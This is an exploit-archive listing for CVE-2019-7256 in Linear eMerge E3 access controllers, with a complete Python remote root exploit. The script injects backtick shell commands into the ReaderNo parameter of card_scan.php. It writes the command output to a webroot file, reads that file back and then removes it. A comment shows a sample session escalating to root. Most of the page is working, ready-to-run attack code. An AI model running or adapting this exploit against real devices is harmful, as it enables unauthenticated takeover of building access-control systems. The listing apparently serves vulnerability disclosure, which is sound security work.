Lucene search

K
packetstormLiquidWormPACKETSTORM:155255
HistoryNov 12, 2019 - 12:00 a.m.

Linear eMerge E3 1.00-06 card_scan.php Command Injection

2019-11-1200:00:00
LiquidWorm
packetstormsecurity.com
126
linear emerge e3
command injection
remote exploit
cve-2019-7256
advisory
gjoko 'liquidworm' krstic
python
requests
ip address
port
lighttpd
spider
webroot
test.txt
exit.

EPSS

0.971

Percentile

99.8%

`#!/usr/bin/env python  
#  
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit  
# Affected version: <=1.00-06  
# via card_scan.php  
# CVE: CVE-2019-7256  
# Advisory: https://applied-risk.com/resources/ar-2019-005  
#  
# By Gjoko 'LiquidWorm' Krstic  
#  
###################################################################  
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2  
#  
# [email protected]:/spider/web/webroot$ id  
# uid=1003(lighttpd) gid=0(root)  
#  
# [email protected]:/spider/web/webroot$ echo davestyle |su -c id  
# Password:   
# uid=0(root) gid=0(root) groups=0(root)  
#  
# [email protected]:/spider/web/webroot$ exit  
#  
# [+] Erasing read stage file and exiting...  
# [+] Done. Ba-bye!  
#  
###################################################################  
  
import requests  
import sys,os##  
  
piton = os.path.basename(sys.argv[0])  
  
if len(sys.argv) < 2:  
print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'  
sys.exit()  
  
ipaddr = sys.argv[1]  
  
print  
while True:  
try:  
cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')  
execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')  
readreq = requests.get('http://'+ipaddr+'/test.txt')  
print readreq.text  
if cmd.strip() == 'exit':  
print "[+] Erasing read stage file and exiting..."  
requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')  
print "[+] Done. Ba-bye!\n"  
break  
else: continue  
except Exception:  
break  
  
sys.exit()  
`